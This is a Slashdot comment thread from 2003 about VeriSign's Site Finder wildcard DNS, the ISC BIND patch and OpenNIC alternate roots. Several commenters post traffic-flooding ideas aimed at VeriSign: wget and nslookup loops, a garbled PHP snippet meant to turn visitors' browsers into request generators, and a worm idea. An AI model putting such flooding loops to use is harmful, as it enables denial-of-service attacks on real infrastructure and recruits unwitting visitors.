      As for splitting, there are already several alternate roots. In addition to Alternic, there's OpenNIC and Pacific Root. People are using these only voluntarily, and the different roots cooperate to some extent. For example, most will only establish a new TLD if no other root is using that TLD, and most will peer TLDs for the other roots so you can see the entire composite alternate namespace. This is strictly voluntary, however.

      It might be that some day the alternate roots cooperate less. We can get a glimpse of how this works through the issue of the .biz TLD. Pacific Root had a .biz TLD years before the official Internet .biz TLD. People had paid Pacific Root for this privilege. Pacific Root decided to maintain their own .biz TLD, such that if you are connected to them you will see their .biz, and if you are connected to the real Internet root servers, you'll see the official .biz. Meanwhile, they peer all the other official TLDs so that you see them. Other alternate roots made independent decisions. OpenNIC, for example, chose to continue peering the Pacific Root .biz and ignore the official one. Verisign et al can be viewed as a non-cooperative alternate root server, and this shows how a group of independent voluntary alternatives can coexist.

      As for cost, at the moment OpenNIC is free to use (I don't know about the others). I think most alternate TLDs have free registration, though I know that Pacific Root charges (and apparently makes money) for registering in the TLDs they created. If more people started using these alternate roots and costs went up, the alternate roots could start charging more registration fees, or charge users; people could choose among alternatives based on price, quality, and access to the TLDs they want to see. Competition would be good, though some alternates might have to shut down. Think about who finances the yellow pages: the users, or the people who are registered. Also, it's possible this could be entirely financed through voluntary donations.

      It's conceivable we could completely escape from Verisign just through exercising our free will to choose alternate roots.

    3. Re:Sounds great by DavidTC · · Score: 1
      Except that every single alternate root recognizes Verisign as the correct owner of .com and .net.

      Good god, people. How do you manage to know what an alternate root is and still think that's a useful solution to this issue? Alternate roots add TLDs, they don't modify any existing ones except in the wacky case of .biz, which they had first, and I think the alternate one has shut down now.

      Everyone single of one of them uses Verisign as the owners of com and net, as proven by the fact you can look up .com and .net addresses using them.

      What needs to happen is that ICANN take .net and .com away from Verisign, like they took away .org. Good luck for that happening, though.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    4. Re:Sounds great by jdavidb · · Score: 1

      The point is they have the possibility to selectively ignore. They could choose to ignore .com if they wanted to. Or they could install the ISC patch and choose to ignore the wildcards for .com and .net.

    5. Re:Sounds great by DavidTC · · Score: 1
      Root servers cannot 'installed ISC's patch'. Root servers just return NS records pointing to the .com and .net servers! They can't filter, they can't do anything, all they say is 'That's over there.'. Root servers never even do a DNS lookup on another server, so ICS's patch is amazingly non-useful.

      Root servers keep TLDs, period. They have both ccTLDs and gTLDs, and all they do is say where those things are located, who is supposed to be running '.whatever'.

      Now, the .com and .net server managers (I forget the name for these people.) while they couldn't install the patch (Again, it only controls DNS lookups off other machines. It won't do a damn thing to servers that are serving the wildcard records.), could just set their configuration back to the way it was before Verisign had them change it to wildcard! But they're under the same sort of contract rules as Verisign is theoretically under, they can't go randomly screwing around with their servers or records. Of course, neither can Verisign, but just because some people go around breaking the rules doesn't mean everyone is willing to.

      And, yes, in theory OpenNIC could drop .com and .net...which would rather immediately result in everyone stopping using them. (And which coincidentally happens to be against their rules. They recognize the oldest runner of a TLD, assuming it can successfully provide enough service, as legit. According to their rules, Verisign legitimately runs .com and .net.)

      However, if people don't want to lookup .com and .net, they don't need to switch to OpenNIC and hope and pray they do that...it's trivially easy to do that with a random DNS cache. While I've never seen a cache that's advertised to do that, which should tell you how wanted it is, it shouldn't be hard to set one up to do that.

      --
      If corporations are people, aren't stockholders guilty of slavery?
  53. Re:could NOT care less you idiot by MuParadigm · · Score: 1


    "SPAM", with all caps, is the Hormel trademarked name. Look at a can of SPAM next time you're in the supermarket. Note the caps?

    That's why some people use all caps; they are merely respecting the terms historical origins in a trademarked product.

  54. Google by Spazmania · · Score: 4, Funny

    And not to be outdone by Verisign, Google has added a default route to the global BGP table which brings any formerly unroutable web traffic to their search engine.

    NOT!

    --
    Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
  55. Re:Is a Technology solution ALWAYS better than law by beowulfcluster · · Score: 1
    Your friend asks for your cousins's phone number and you instead give them the phone number of your shop. Reasonable?
    Only if your cousin doesn't have a phone (or if you don't have a cousin).
  56. MSIE is not the Internet by DragonHawk · · Score: 1

    (I suspect this is a troll, but I want to debunk this particular myth anyway.)

    MSIE has been doing this for ages, and I never found it to be a problem

    Microsoft Internet Explorer isn't the Internet. MSIE is one program that some people use for one task -- browsing the web. You don't have to use it. MSIE is also not a mail exchanger, diagnostic tool, or any of the many other things that this VeriSign change breaks.

    Please understand the issues before posting.

    --

    dragonhawk@iname.microsoft.com
    I do not like Microsoft. Remove them from my email address.
  57. TRUST by Craig+Ringer · · Score: 4, Insightful

    This is especially critical given that Verisign's business is supposedly trust. They sell SSL certificates, and the only way they can claim they're better to use for them than (say) I am, is that they have an established record of security procedures and trust.

    Had trust. Who can take them seriously now?

    1. Re:TRUST by TheRaven64 · · Score: 1

      So, I hope, the next releases of Moz et al. will not contain verisign as a trusted root authority, and will pop up a message saying something like `This certificate was issued by a company known to be untrustworthy. Are you really sure you want to access this site?'.

      --
      I am TheRaven on Soylent News
    2. Re:TRUST by Brendan+Byrd · · Score: 1

      It would be better of IE did this. Unforunately, Mozilla just doesn't have enough market share (as kickass as it is).

  58. Re:could NOT care less you idiot by TiMac · · Score: 1
    Well...

    I guess it's fully possible that when my friend was talking about all the SPAM his mailbox was getting....he actually meant that the postman was stuffing large amounts of Specially Prepared Assorted Meats in with his phone bill...

    Then again...the question could be which is tastier...spam, or 0xdeadbeef...

    --

  59. Office of Homeland Insecurity by inputsprocket · · Score: 4, Funny
    .....and from Verisign's Terms and Conditions:

    "2.4 Monitoring and Communication
    VeriSign actively monitors all traffic associated with Site Finder, including DNS queries matching the wildcard entries in .com and .net and associated responses, and all traffic sent to the response server. This traffic is correlated and monitored in real time, 24 hours a day, seven days a week, by VeriSign's Network Operations Centre... complete traffic stream to the .com and .net name servers and the response server, as well as rolled up statistics, are stored for analysis."

    Ehm, well I don't agree to your Terms and Conditions, thank you very much. Please stop storing my typo data Please.

    1. Re:Office of Homeland Insecurity by Maxwell'sSilverLART · · Score: 1

      while true; do; wget -O /dev/null verisignsucksass.com; done

      Give them something to monitor.

      --
      Moderate drunk! It's more fun that way!
  60. Talk to a lawyer... by bluGill · · Score: 2, Insightful

    Anyone have a lawyer and a small site to try this on. I suspect that you have a case of some sort. "Your honor, we had planned for this type of mistake by having some.other.domain.com as a backup, but verisign illegally stole the expired domain and started bouncing our messages." Or some such. Of course that backup wouldn't work in the case of the domain expiring and someone else registering it instead, but you tried.

  61. Re:Is a Technology solution ALWAYS better than law by Anonymous Coward · · Score: 0

    You don't HAVE to get a dot com, you could just boycott verisign quite easily. Having said that, I too am the owner of a .net domain, even though I didn't lease it from verisign but from gandi.net.

    And alternate root servers don't mean a damn if ISP's don't switch to them, which they are extremely unlikely to do, since verisign hasn't pissed them off enough yet.

  62. +10 Funny by tedgyz · · Score: 1

    That is just WAY too funny! /. needs a special category for humor that goes above and beyond the rest.

    --
    "No matter where you go, there you are." -- Buckaroo Banzai
  63. You need to get out more by Alien+Conspiracy · · Score: 1

    The point about URL's is their transcribability between different media, most important of which are (a) human memory, and (b) backs of cigarette packets.

    I often find myself in a bar and a website name get's mentioned, and written down on whatever is at hand.

    Do not underestimate the amount of first-time visitor traffic that is driven by almost indescipherable jots on crumpled pieces of paper, or hangover-clouded attempts to remember the URL you were told the night before.

  64. Re:could NOT care less you idiot by tsvk · · Score: 3, Informative
    What irritates me more is when people refer to junk email as "SPAM" instead of "spam"
    actually, isn't that part of hormel's deal? we can continue to call UBE (insert full stops as required) SPAM as long as we capitalise it and they won't complain or try to sue anyone over dilution of trademark etc. (ie as spam is actually a product they sell).

    It's the other way around. Hormel has a trademark on 'SPAM' and would prefer UBE to be called 'spam'. See the SPAM website for more info.

  65. Re:Is a Technology solution ALWAYS better than law by analog_line · · Score: 1

    But I'm really concerned that this effectively lets VeriSign get away with it. They've bust everyone's trust folks, doesn't anyone care?

    Of course people care, and of course people aren't going to just let them get away with it. Personally, I'm impressing on my clients the need to move to another registrar very very fast. They may control the .com and .net databases, but neither I, my clients, nor my friends (who I'll volunteer time to make the move for) will be paying them to enter something in that database. Plenty of other registrars to give money to, and they ALL charge less, and it's impossible to have worse service than Verisign. I'm also checking into whether our clients are using VeriSign as a CA for any of their commerce sites and getting the wheels in motion to move those over if they are.

    And yes, if things get really wacky, I'm more than willing to run DNS services for my clients and remove the Verisign controlled servers from the root.hints file.

    I tried e-mailing some of the addresses that were listed in the last slashdot post on this subject, but they all bounced back, so either they moved people's e-mail addresses after the flood, or they're white-listing those addresses. In the end, though, I don't believe complaining to Verisign management will do much good, if any. I don't plan on ever using their services again, even if they stop, so why would they care if I'm pissed at them. They'd be wasting their time trying to get me back, and I and my clients are small potatoes in any case. My only hope is that more people like me get on this bandwagon, because only then would they start to feel the heat.

  66. Re:could NOT care less you idiot by squiggleslash · · Score: 1

    Exact opposite. SPAM is the trademark (SPiced hAM or something), spam is the junk mail. I can't find the link either, but a quick browse through Hormel's site will show you that they put the trademark in all-caps.

    --
    You are not alone. This is not normal. None of this is normal.
  67. Not quite _every_ application by Alien+Conspiracy · · Score: 1

    Anything that uses just IP numbers is unaffected. Like gnutella, etc.

  68. Re:Is a Technology solution ALWAYS better than law by morelife · · Score: 3, Interesting

    this effectively lets VeriSign get away with it.

    As a BIND architect/deployer/admin I see that ISC is always getting bashed. Kudos to them for this creative patch, presented almost instantly compared to their usual release schedules. But, precisely, it let's Verisign get away with this action, which is horrible. Especially because this: http://www.iab.org/Documents/icann-vgrs-response.h tml
    (which was posted in the first slashdot thread abot this topic), went unnoticed, and unheeded by Verisign.
    Big business in this country is getting WAY out of hand with greed.

  69. URL for results by Anonymous Coward · · Score: 0

    Results are here.

  70. Re:Is a Technology solution ALWAYS better than law by Neil+Watson · · Score: 5, Interesting
    I think the anology you are looking for is:

    You dial a wrong number on your phone and a local telephone carrier answers and begins to try and sell you long distance and local services.

  71. Re:Sqatting by gmack · · Score: 1

    The only thing that makes it different is that size difference. The *.nu thing was only mildly annoying. *.com and *.net is a huge problem.

    On the upside these bind changes will put an end to all of the other cases of domain authorities doing this.

  72. Woo hoo! Ant Hill Mob to the rescue! by JCCyC · · Score: 1

    The Internet = Penelope
    Verisign = Hooded Claw
    ISC = Ant Hill Mob
    Clyde = SOA (of course)
    Dum Dum = CNAME
    Pockets = NS
    Snoozy = PTR
    Softy = ANY
    Yak Yak = MX
    Zippy = A

    1. Re:Woo hoo! Ant Hill Mob to the rescue! by DNS-and-BIND · · Score: 1

      Boy, talk about your obscure references...

      --
      Shutting down free speech with violence isn't fighting fascism. It IS fascism!
    2. Re:Woo hoo! Ant Hill Mob to the rescue! by Anonymous Coward · · Score: 0

      YOU got it, didn't you? ;-P

  73. Re:Sign the online petition to get ICANN into acti by Anonymous Coward · · Score: 0

    +1, funny

    You think ICANN is going to do anything that actually is good for the internet? Man, where have you been the last few years?

  74. Too late to run... by WinPimp2K · · Score: 1

    I'm a hardware tech and I just applied a code patch. Now the system won't run.

    But at least that pesky user will not be able to send out an email about his idea...

    --

    You either believe in rational thought or you don't
    1. Re:Too late to run... by hplasm · · Score: 1

      ExCellenT....

      --
      ...and he grinned, like a fox eating shit out of a wire brush.
  75. Not Trustworthy by Michael_Burton · · Score: 4, Interesting

    With it's digital certificate business, Verisign started as a company that dealt in trust. That was the heart of their business. Now it's hard to think of a company I trust less than Verisign.

    For this stunt, they should lose their authority to register domain names. This company should never be allowed to touch internet infrastructure.

    --
    When all you have is an axe, everything looks like a grindstone.
    1. Re:Not Trustworthy by Anonymous Coward · · Score: 0

      A trusted system is one you MUST trust, not one you CAN trust.

      Really though, money and trust rarely mix.

    2. Re:Not Trustworthy by Anonymous Coward · · Score: 0

      Now it's hard to think of a company I trust less than Verisign.

      SCO maybe? :-)

    3. Re:Not Trustworthy by Varitek · · Score: 1
      This company should never be allowed to touch internet infrastructure.

      Everyone, remember this the next time someone tries to spread the propaganda that corporations are always more efficient than public bodies. The things that drive corporations *often* conflict with the public good.

  76. I think VeriSign Slashdotted themselves.... by Phreakiture · · Score: 1

    I have tried to access a nonexistent domain through several different routes, and in all cases, it times out. And before you ask, yes, the name resolves to (what else?) 64.94.110.11.

    --
    www.wavefront-av.com
  77. prediction by Potlucker · · Score: 1


    Did no one predict this a couple days ago?

    I put great faith (sadly?) in the collective intelligence shared here. Who gets credit for calling this one?

  78. "Breaks every application on the 'net?" by heironymouscoward · · Score: 1

    You are serious? So billions of applications out there suddenly stopped working? This explains why my entire business has ground to halt, and I can't even access Slashdot... oh...

    There is no value in making such statements.

    The change to the DNS lookups breaks applications that rely on an unprovable negative. This is a small, specific class of applications that can be fixed quite easily (as the BIND patch shows).

    I'd like to see a list of those specific applications that cannot work any longer because they cannot distinguish "Not resolved" from 64.94.110.11.

    Let me put it like this, here is a 2-line patch to fix any application so affected:

    verishit = lookup_address ("shithappens" & datetime & ".com")
    if lookup_address (realdomain) = verishit then
    -- act as if not found
    else
    -- act as if found
    endif

    and I've gone and patched roughly 200,000 lines of code in the time it took me to make this comment, since all socket connections are in a single library function (as they damn well should be).

    Rational discussion welcome, hysterical overreaction less so.

    --
    Ceci n'est pas une signature
    1. Re:"Breaks every application on the 'net?" by turg · · Score: 1

      "Breaks" does not mean "renders completely unusable" -- you're the one who's exagerating here. Any application that performed differently when given a valid domain than when given an invalid domain name will no longer perform as expected. Even if it is easy to fix all this software (and I don't believe it's as simple as you say, nor that Verisign won't counteract such measures), that doesn't mean that what Verisign did is okay. (Not to mention that, aside from general discussions of ethics or legality, it's forbidden by their contract with ICANN)

      --
      <sig>Guvf vf abg n frperg zrffntr
    2. Re:"Breaks every application on the 'net?" by heironymouscoward · · Score: 1

      Actually, it is exactly as simple as I say, although in my code I've cached the verishit address so that the overhead is minimalized, and there are probably even easier methods, such as getting patched TCP/IP stacks that do this automatically.

      I took issue with the "every" part of your statement. Please name just ten applications, ou of the millions that exist and the hundreds that you certainly use every day, that this breaks. OK, name just one. So, then, what exactly is the issue apart from general hatred of Verisgn...?

      Hey, I enjoy a good stone-throwing as well as the next person, but for once I think it's really a waste of time.

      The truth seems to be that Verisign have simply DoS'd themselves, hosed their own servers, since their redirection server is down.

      --
      Ceci n'est pas une signature
    3. Re:"Breaks every application on the 'net?" by DavidTC · · Score: 1
      Um, saying 'the application isn't broke' is not supported in any way by the assertation 'and it's easy to fix anyway'.

      And this broke postfix for me, as in, it doesn't work as well as it did before. It is no longer rejecting mail from invalid addresses, and thanks to their braindead SMTP server it's probably deferring multi-recipient messages to invalid domains.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    4. Re:"Breaks every application on the 'net?" by turg · · Score: 1

      Do you disagree with this statement: "Any application which behaves differently when given a valid domain name than when given an invalid domain name will now behave unexpectedly."

      Clarifications: (1) Assume the expectations in question were in place before this week. (2) To what degree and how often an application will behave unexpectedly will vary for application and for each instance of an application. (3) The consequences of this unexpected behaviour will also vary by application/instance.

      If you disagree with the statement above, then that's where our difference lies.

      Again, the technical issue alone is not even the biggest part of what people are upset about. Verisign is (1) using their unique position as the registry manager for financial gain and (2) doing so in violation of the contract under which they manage the registry.

      --
      <sig>Guvf vf abg n frperg zrffntr
    5. Re:"Breaks every application on the 'net?" by Anonymous Coward · · Score: 0

      Your code doesn't work if VeriSign returns multiple IP addresses for their lookups.

  79. Disgusting coffee mug by TheMidget · · Score: 2, Interesting
    Although coffee cup cultures are often green, any disgusting colour is allowed.

    Once discovered a bright-red coffee mould. It was in a paper filter of a coffee machine that we forgot to throw out. And yes, after thoroughly rinsing the machine, we still continued to use it...

    1. Re:Disgusting coffee mug by AndroidCat · · Score: 1

      Heh, that LOTD is several weeks ago. I should change it before it turns funny colours.

      --
      One line blog. I hear that they're called Twitters now.
  80. Inreased Bandwidth Usage and Other Porblems by tiny69 · · Score: 2, Interesting
    Can those that pay by the amount of data that flows through their pipes start charging VeriSign for the extra traffic?

    Currently, the page VeriSign is approximately 2.9k is size. What happens they start adding banner ads? Will the extra traffic slow down the internet as a whole?

    I wouldn't be surprised if the next Microsoft worm used VeriSign's new "feature" to bring the internet to a crawl.

    $ host thisdomaindoesnotexist.com
    thisdomaindoesnotexist.com has address 64.94.110.11

    So every program that looked for a DNS error when a domain does not exist will no longer get that error. I wonder what kind of problems this will create.

    Anything else I'm missing?

    --
    Go not unto/. for advice, for you will be told both yea and nay (but have nothing to do with the question)
    1. Re:Inreased Bandwidth Usage and Other Porblems by WebMasterJoe · · Score: 1
      I wouldn't be surprised if the next Microsoft worm used VeriSign's new "feature" to bring the internet to a crawl.
      Ooh! That is a fun idea. I'm thinking, perhaps, the payload could involve making "HEAD" requests every x seconds or so for domains comprised of random letters. Such a trick would have minimal effect on the occasional match, but it would simply hammer the VeriSign server. Since the names would be random, too, most of the lookups would have to go to all the way up to the root server. No caching, no suggestions from the local DNS server. This just might very well be the method used one day when somebody figures out how to take down a significant chunk of the web. The distributed dig of death!
      --
      I really hate signatures, but go to my website.
    2. Re:Inreased Bandwidth Usage and Other Porblems by Anonymous Coward · · Score: 0

      That's interesting, can someone be fined for dos'n something that doesn't exist? I mean technically kdofpder34.com doesn't exist and isn't registered by anyone. So if it doesn't exist, technically you aren't dos'n anything.

  81. scroll down by Alejo · · Score: 1

    scroll down a bit, it's right there.

  82. Insert this into any php page for tons of fun by Anonymous Coward · · Score: 0

    The following should be fun for those who want to post it to any page with PHP included (someone could easily translate it into Perl, Python, etc.)

    What this _should_ do is give at the bottom of any page 307,000 bad images that hopefully all search for unregistered domains and a different image name every time. This way, every browser needs to go try to find that image on the bad domain.

    Just image 1,000 page views an hour. That's 307 million requests from one site per hour. Have fun!

    \n";

    for ($y=0;$y\n";
    for ($x=0;$x\n";
    }
    echo "\n";
    }

    echo "\n
    \n"; // Released to the Public Domain // Distribute and Modify Freely

    ?>

    Questions, comments, suggetions, complaints? Tough!

  83. Potential problem with delegation only. by John+Allsup · · Score: 1

    I don't understand DNS all that well, but I see the following workaround for VeriSign.

    1.) Have the verisign nameserver return sitefinder for all missed domain names.

    2.) Direct all failed DNS queries for .com and .net names to the verisign server.

    (i.e. return the verisign nameserver whenever there is no registered domain name holder.)
    How will this either a.) not work in (normal pre-BIND-patch) practice, or b.) be stopped by the BIND patch?

    --
    John_Chalisque
    1. Re:Potential problem with delegation only. by RichLooker · · Score: 1

      1.) This is essentially what they have done.

      2.) When queried for the NS record for somedomain.com or somedomain.net, their DNS is required to respond with the authoritative NS. Pretending themselves to be the authoritative NS is forgery; not very hard to prove illegal. Besides, if they choose to forge the authority, they will also have to relay each-and-every A record lookup under .com and .net, as everyone else will assume they are the sole authoritative server. Or, to cache every .com and .net address in existence. They would need some serious iron & bandwidth to pull off any of these two ...

      --
      "And you are dying so slowly, you believe to be living" - Bertrand Besigye
  84. It bears repeating by mr.nicholas · · Score: 0, Informative

    I'm sure it's been mentioned before, but for those of you who run their own DNS servers, there is an extremely easy way to set yourself up to use OpenNIC as an alternative root.

    Simply locate your "root.servers" file (/var/named for RedHat installations) and run:

    dig @131.161.247.226 > root.servers

    and restart named. To verify that things are then working correctly:

    > host ns0.opennic.glue
    ns0.opennic.glue. has address 131.161.247.226

    From that point onwards, you can update your root server file by adding something like this to your weekly cron: /usr/bin/dig @ns0.opennic.glue > /var/named/root.servers

    1. Re:It bears repeating by Utoxin · · Score: 3, Insightful

      This is NOT a solution!

      I repeat, this will not fix anything. Verisign controls the .com and .net TLDs, and as such, OpenNIC has to delegate all queries to their servers. Result? All unregistered .com and .net domains will still resolve to the evil SiteFinder.

      Moderators, please mod this up.

      --
      Matthew Walker
      http://www.tweeterdiet.com/ - My Diet Tracking Tool
    2. Re:It bears repeating by DavidTC · · Score: 4, Informative
      Posting with a +1 bonus to attempt to get people to see this.

      It's amazing how many super cool random people are running around suggesting using OpenNIC, which, of course, won't do a DAMN FUCKING THING. Anyone who suggests an alternate root has demonstrated they have no knowledge of how DNS works at the topmost level.

      Please, someone go around and find all the posts that mention this and moderate them up! I've posted at least three posts pointing this out, and other people have also.

      I'm starting to think everyone should have a few emergency -1: Wrong mod points to get rid of information that is just flatout incorrect.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    3. Re:It bears repeating by lamber45 · · Score: 1
      It's amazing how many super cool random people are running around suggesting using OpenNIC, which, of course, won't do a D--- F--- THING. Anyone who suggests an alternate root has demonstrated they have no knowledge of how DNS works at the topmost level

      Not in and of itself, but we hope OpenNIC will quickly move to sanitize the domain-information they pass on, which should be easy with the patches that have been released. Better to fix the problem at one point than at thousands.

    4. Re:It bears repeating by DavidTC · · Score: 1

      OPenNIC does not 'pass on' anything except where .com and .net can be found. Routing every single DNS query in existence through them would kill them.

      --
      If corporations are people, aren't stockholders guilty of slavery?
  85. TOC???? by mojoNYC · · Score: 2, Interesting
    their TOC states that the 'sole remedy' is to stop using verisign services--so how do end users stop using DNS?

    Sole Remedy.
    YOUR USE OF THE VERISIGN SERVICES IS AT YOUR OWN RISK. IF YOU ARE DISSATISFIED WITH ANY OF THE MATERIALS, RESULTS OR OTHER CONTENTS OF THE VERISIGN SERVICES OR WITH THESE TERMS AND CONDITIONS, OUR PRIVACY STATEMENT, OR OTHER POLICIES, YOUR SOLE REMEDY IS TO DISCONTINUE USE OF THE VERISIGN SERVICES OR OUR SITE.

    also, it's nice to know that they've thoughtfully decided to help the US post office by only taking questions/comments via snail mail (why bother taking email?)
    If you have any questions regarding this Privacy Policy, please contact
    VeriSign, Inc.
    Attention: Legal Department
    21355 Ridgetop Circle
    Dulles, VA 20166

  86. Re:For Windows Users by platypus · · Score: 1

    How is this supposed to help?

  87. pdnsd by Anonymous Coward · · Score: 0

    Does somebody know if a patch for pdnsd is available?

  88. Mozilla developers by Wolfier · · Score: 2, Funny

    How about we pre-empt Verisign by redirecting the 404 pages to this petition?

  89. You are completely wrong by gunner800 · · Score: 1

    If you read the entire TOS instead of just one paragraph, you'll see that "Verisign Services" in this context is not DNS -- it's Site Finder.

    1. Re:You are completely wrong by mojoNYC · · Score: 1

      i guess that's why i'm not a lawyer...thank god;>

  90. Re:ROUTE TACO'S DICK by Horny+Smurf · · Score: 0, Offtopic

    CmdrTaco@slashdot mount -t gay /dev/hemos /hemos

  91. Send Verisign a Bill by Anonymous Coward · · Score: 1, Interesting

    I remember a guy that would send telemarketers and direct mail advertisers a letter/contract the first time they called/mailed him anything. The letter basically said he was offering his services as an editor. He would read or listen to their spiel and provide comments for a charge of $50 per occurance. The letter also said a company's act of calling or mailing him something constituted acceptance of the contract.

    Whenever he got junk mail or a telemarketer called he would check if he had sent them a letter/contract. If so, he would edit the junk mail or listen to the spiel and write down comments. He would then send the comments to the companies with a bill for $50. According to a news report I saw, he took some of the companies to small claims court for failure to pay, and won.

    Let's do that to Verisign. Everyone send them a letter/contract offering your services as an editor to review their web site for a fee. Then when you get routed to their wildcard site, check it for spelling, or compliance with standards, or whatever. Then send Verisign a critique with a bill.

    Maybe we could do the same with respect to SCO's licensing letters.

  92. RFC by s3ti · · Score: 0

    Internet Software Consortium (ISC) is a not-for-profit corporation dedicated to developing and maintaining production quality Open Source reference implementations of core Internet protocols. ISC efforts are supported primarily by the donations of generous sponsors.

    I think they need to reread the DNS' RFC's. I don't recall something along the lines of "to stop someone breaking the protocol spec, you aren't required to follow the spec yourself"

    Btw, shouldn't ISC focus on fixing some bugs in BIND instead? Maybe they should check out djbdns...

  93. what's to stop verisign delegating *.com ? by sforman · · Score: 1

    This is a nice solution, but what's to stop verisign delegating the wildcard instead of just returning an A record, thereby defeating BIND's new delegation-only option?

  94. Wow: 91% NO at 10:15AM EST 2003-09-17 by Dave21212 · · Score: 1


    Wow: 91% NO at 10:15AM EST 2003-09-17

    I wish that there were CEO polls for every company... thank you - this is the most interesting link I've seen in quite a while !!!
    Steve Ballmer is at 7% LOL !

    --
    "Whoever would overthrow the liberty of a nation must begin by subduing the freeness of speech."--Benjamin Franklin
  95. Why a /. news for Bind? by chrysalis · · Score: 0, Troll

    Other DNS caches like djbdns provided patches to handle this before Bind.

    Why a Slashdot article to specifically announce the late Bind implementation?

    --
    {{.sig}}
    1. Re:Why a /. news for Bind? by MrMickS · · Score: 1

      80% of nameservers are BIND. Changes to BIND have a bigger impact than other nameservers.

      --
      You may think me a tired, old, cynic. I'd have to disagree about the tired bit.
  96. Not a solution by Anonymous Coward · · Score: 0

    Unfortunately, Opennic delegates the .com and .net domains to Verisign.

  97. Easy! by bisho · · Score: 2, Informative

    while true;
    do
    echo VerisignSucks${RANDOM}Times.com \
    | nslookup > /dev/null
    done

  98. My favorite part of the article by ca1v1n · · Score: 1

    "Verisign did not respond [to] Requests For Comment" (emphasis added)

  99. Re:Is a Technology solution ALWAYS better than law by Anonymous Coward · · Score: 0

    I'd rather have a full bottle in front of me than a full frontal lobotomy!

  100. Oops. by abulafia · · Score: 1

    Sorry about that. Kaplan deserves some bashing, too, though.

    --
    I forget what 8 was for.
  101. Re:Sign the online petition to get ICANN into acti by Dun+Malg · · Score: 3, Insightful
    ICANN might be able to force VeriSign to get this off the net http://www.petitiononline.com/icanndns/

    Petitions only work if a) the petitioners represent a threat to the petitionee's livelyhood, or b) the petition is to force a state government to put something to a vote (e.g. referendum process). ICANN viewa us, the lowly internet users, as riff-raff. They are the lord, we are their serfs. What threat does a petition hold for them? They have absolute power and don't care what we think.

    --
    If a job's not worth doing, it's not worth doing right.
  102. Re:Is a Technology solution ALWAYS better than law by Anonymous Coward · · Score: 0

    You must be a USian. Ah, capitalist democracy... consumers before citizens. What a pity.

  103. As everyone knows, sysads are lazy, and as such... by StupidKatz · · Score: 1

    ... do you think I'd ever accidentally add something like "verisign.com" to a delegation zone, accidentally, of course, instead of the more unpopular "sitefinder.verisign.com"?

    Naaaaaaw, I'd never do THAT...

  104. Atrocity by BigJimSlade · · Score: 1

    I gotta say that when I think of atrocities, name resolving does not end up first on my list.

  105. Verisign-rapes-babies.com by VonGuard · · Score: 0, Flamebait

    So does this mean that verisign-is-staffed-entirely-by-vegisexual-nazis.c om is no longer owned by Verisign?

    I'm sure they'll want to register verisign-employees-are-required-to-eat-seventeen-k ittens-a-day-by-management.com now.

    --
    Don't Crease the Weasel!
  106. Re:For Windows Users by Anonymous Coward · · Score: 0

    That fixes sitefinder.verisign.com, but doesn't fix asdkasjkldjlkhasdkaslkjdklasd.com or any other typo, which points back to 64.94.110.11.

    For someone who seems to know everything, you didn't do much research. Maybe you need more than 640K? You could ask Al Gore, the inventor of the Internet for help, or you could spew some other random crap misquote. Whatever you do, please make sure to type M$ a bunch of times, it makes you look so l33t.

  107. It's almost too easy to bypass this patch. by Baron_Yam · · Score: 1

    It is even easier than I thought to bypass this 'patch'... instead of VeriSign returning an A record, they could return an NS record pointing to an NS they own and that returns whatever they want.

    1. Re:It's almost too easy to bypass this patch. by DavidTC · · Score: 1
      Except all the .net and .com owners run fairly standard BIND, and you can't wildcard NS records in BIND. They get their config from Verisign, not their software.

      And if they did that somehow, everyone would just mark Verisign's new DNS servers as 'lame' and nothing they did would ever count.

      --
      If corporations are people, aren't stockholders guilty of slavery?
  108. Who should I write? by Kyouryuu · · Score: 4, Interesting

    Who should I write in the government to complain about Verisign's abuse of power? If I recall correctly, the US government had granted Network Solutions the power to directly control the DNS servers, but NetSol was later bought out by Verisign who has done nothing but abuse its monopoly. Is there some government agency in charge of watching over Verisign; a government computer agency? I feel the need to write someone in power about this. We can patch the problem all we want - the only true solution is to end Verisign's power over the DNS outright.

    1. Re:Who should I write? by soccerisgod · · Score: 2, Informative

      I think the chain of command is that

      VeriSign ICANN DoC (Department of Commerce)

      --
      If a train station is a place where a train stops, what's a workstation?
  109. Petition Verisign to change by digitalgimpus · · Score: 4, Informative

    http://www.petitiononline.com/verisign/

    1. Re:Petition Verisign to change by Anonymous Coward · · Score: 0

      This petition is written to re-enforce the myth that "The Web" and "The Internet" are interchangable terms. It is because of this myth that Verisign feels they can get away with this act. The end point of "The Web" is assumed to be human, hence if the error message of a domain being invalid is provided at the DNS level or at the HTTP level should not matter since the human will evaluate both methods of reporting the error message the same. From the prospective of the "The Web," Verisign has just customized the error message to their liking.

      Now, from the prospective of "The Internet" which also contains several automated services which are the end points of DNS look-ups, this is a far worse problem than who gets advertizing money. On "The Internet," several well defined services will *NOT* evaluate the DNS and HTTP error messages the same since most will never do a HTTP query at all. While the petition only brings up email as the only non-web service effected, there are several other services which assume sound responses of existence as part of their automation.

      As a Domain Name Server Administrator, I find the tunnel vision on the part of "we the webmasters" to be sickening. As a DNS admin, I don't need "master" in my title to feel secure about myself and I do not need to sign a narrow minded petition (as webmaster is "no") to vote against Verisign. While the wording of your petition bewitles the status of DNS admin to common ranks below that of "webmaster," upgrading my BIND daemon makes a vote against Verisign on behalf of *ALL* services effected.

    2. Re:Petition Verisign to change by scrytch · · Score: 1

      Name any online petition that brought about any change whatsoever. These thngs are jokes, and not that far off from chain letters.

      Much noise going around the spam circles about how signing anything at petitiononline.com is a fast track to getting spam...

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
  110. blocking A RRs by Anonymous Coward · · Score: 0

    Won't this break resolution of glue records in those zones? One must be able to resolve A records from gtld-servers.net in order to get the corresponding A records for any NS records inside the .com/.net zones.

  111. SPAM by Morosoph · · Score: 1

    Here's some SPAM Haiku. Interestingly, Spam is not an acronym at all!

  112. Why stop with DNS? by Harry+B.+Hind · · Score: 1

    To take another approach, let's reprogram the telephone system so that any number that would previously return "I'm sorry, the number that you dialed is no longer in service" instead reroutes you to 1-900-SEX-CALL.

    1. Re:Why stop with DNS? by Spazmania · · Score: 1

      Good Lord, that's insidious. Don't suggest it where a Verizon bigwig might hear you. They've already implemented non-optional extended area dialing where you get dinged cents per minute even though you didn't "dial 1." Hell, they'd probably play up the angle that it helps cut down on the telemarketing calls by making it difficult for the machines to recognize an invalid number.

      --
      Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
